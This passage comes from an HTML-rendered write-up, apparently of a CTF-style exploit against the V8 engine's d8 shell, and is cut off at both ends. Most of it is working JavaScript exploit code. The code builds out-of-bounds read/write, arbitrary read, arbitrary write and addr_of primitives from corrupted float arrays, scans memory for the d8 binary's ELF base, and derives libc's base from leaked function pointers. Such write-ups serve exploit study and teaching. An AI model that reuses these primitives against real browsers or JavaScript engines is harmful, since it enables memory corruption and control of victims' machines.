    &lt;span class=&quot;c1&quot;&gt;// Change `b.length` to 1024 * 1024&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1024&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1024&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;smi2f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;

    &lt;span class=&quot;c1&quot;&gt;// Expose OOB RW buffer to outside world, for stage 1&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;oob_buffer&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;oob_buffer_unpacked&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;oob_buffer_packed&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;d&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&amp;#39;untriggered&amp;#39;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Now, we have a set of 3 buffers that we can use to provide the exact
primitives we need:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;oob_buffer&lt;/code&gt;: This is the attacked array, which provides us with the
ability to perform oob rw&lt;/li&gt;
&lt;li&gt;&lt;code&gt;oob_buffer_unpacked&lt;/code&gt;: This array consists of tagged pointers and
unpacked floats. This will be used to give us the &lt;code&gt;addr_of&lt;/code&gt;
primitive.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;oob_buffer_packed&lt;/code&gt;: This array consists of packed floats. This will
be used to provide our &lt;code&gt;arb_read&lt;/code&gt; and &lt;code&gt;arb_write&lt;/code&gt; primitives.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;What is this &amp;quot;packed&amp;quot; and &amp;quot;unpacked&amp;quot;? As a memory optimization, v8
stores an array consisting only of floats as a &amp;quot;packed&amp;quot; float
array. This means that all the floats lie contiguously. This is in
comparison to the unpacked form, which is used whenever there is at
least 1 non-float in the array. In this case, objects are stored as
tagged pointers, and the floats are stored in &amp;quot;boxed&amp;quot; form.&lt;/p&gt;

&lt;p&gt;With these now, we can define our primitives, which are got simply by
accessing the elements of the two latter buffers.&lt;/p&gt;
&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-js&quot; data-lang=&quot;js&quot;&gt;&lt;span class=&quot;kr&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;RW_OFFSET&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;38&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kr&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;ADDR_OFFSET&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;18&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kr&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;BACKING_POINTER_OFFSET&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;15&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kr&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;leaked_addr_backing&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;oob_buffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;RW_OFFSET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;f2i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;BACKING_POINTER_OFFSET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;arb_read&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;addr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;old&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;oob_buffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;RW_OFFSET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;oob_buffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;RW_OFFSET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;addr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;BACKING_POINTER_OFFSET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i2f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;r&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;oob_buffer_packed&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;f2i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;oob_buffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;RW_OFFSET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;old&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;r&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;arb_write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;addr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;val&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;old&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;oob_buffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;RW_OFFSET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;oob_buffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;RW_OFFSET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;addr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;BACKING_POINTER_OFFSET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i2f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;oob_buffer_packed&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;val&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i2f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;oob_buffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;RW_OFFSET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;old&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;addr_of&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;o&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;old&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;oob_buffer_unpacked&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;oob_buffer_unpacked&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;o&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;r&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;oob_buffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;ADDR_OFFSET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;f2i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;oob_buffer_unpacked&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;old&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;r&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;We also write some tests to help ensure that things work smoothly as
we move on to the next stages (you can find these in the final exploit
file).&lt;/p&gt;

&lt;h2&gt;Crafting an Attack&lt;/h2&gt;

&lt;p&gt;With the powerful primitives that we now have access to, we can easily
trample over whatever memory we want/need.&lt;/p&gt;

&lt;p&gt;It was this point forward, that a lot of time was spent chasing after
leads that led to almost nowhere. I have skipped most of the details
of these, but what follows is a short summary, before I get to the
solution after &lt;a href=&quot;#hours-of-pain&quot;&gt;Hours of Pain!&lt;/a&gt;, during &lt;a href=&quot;#a-new-hope&quot;&gt;A New
Hope&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;The first thing that I did was to try to obtain the location of
&lt;code&gt;D8_BASE&lt;/code&gt; (i.e., find the start of the first page of the &lt;code&gt;d8&lt;/code&gt;
executable). The code below was written after spending a whole bunch
of time trying to stabilize this.&lt;/p&gt;
&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-js&quot; data-lang=&quot;js&quot;&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;calc_d8_addr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;LEAKED_ADDR&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;~&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xffff&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;        &lt;span class=&quot;c1&quot;&gt;// Go to start of page&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;arb_read&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;24&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;// Dereference start+8&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;arb_read&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;        &lt;span class=&quot;c1&quot;&gt;// Deref that&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;arb_read&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;        &lt;span class=&quot;c1&quot;&gt;// And now we are in d8&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;~&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x7fff&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;        &lt;span class=&quot;c1&quot;&gt;// Go near start of page&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-=&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x600000&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;     &lt;span class=&quot;c1&quot;&gt;// Go nearer to start of page&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x20000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x1000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;arb_read&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;BigInt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x00010102464c457f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;// console.log(x.toString(16));&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;BigInt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;throw&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&amp;quot;[FAIL] Could not find valid d8 base&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;kr&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;D8_BASE&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;calc_d8_addr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;arb_read&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;D8_BASE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x00010102464c457f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;throw&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&amp;quot;[FAIL] D8_BASE is unstable&amp;quot;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;arb_read&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;D8_BASE&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x606000&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x89485ed18949ed31&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;throw&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&amp;quot;[FAIL] Can&amp;#39;t find correct R_X page from D8_BASE&amp;quot;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;    + Obtained D8_BASE = &amp;quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;D8_BASE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;hex&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;());&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;With &lt;code&gt;D8_BASE&lt;/code&gt;, I could obtain &lt;code&gt;LIBC_BASE&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-js&quot; data-lang=&quot;js&quot;&gt;&lt;span class=&quot;kr&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;libc_fputc&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;arb_read&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;D8_BASE&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x115eb48&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;kr&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;libc_printf&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;arb_read&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;D8_BASE&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x115eb68&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;kr&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;libc_puts&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;arb_read&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;D8_BASE&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x115eb58&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;kr&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;libc_base&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;libc_fputc&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;FPUTC_OFFSET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;libc_base&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;PRINTF_OFFSET&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;libc_printf&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;throw&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&amp;quot;[FAIL] Unknown libc&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;libc_base&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;PUTS_OFFSET&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;libc_puts&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
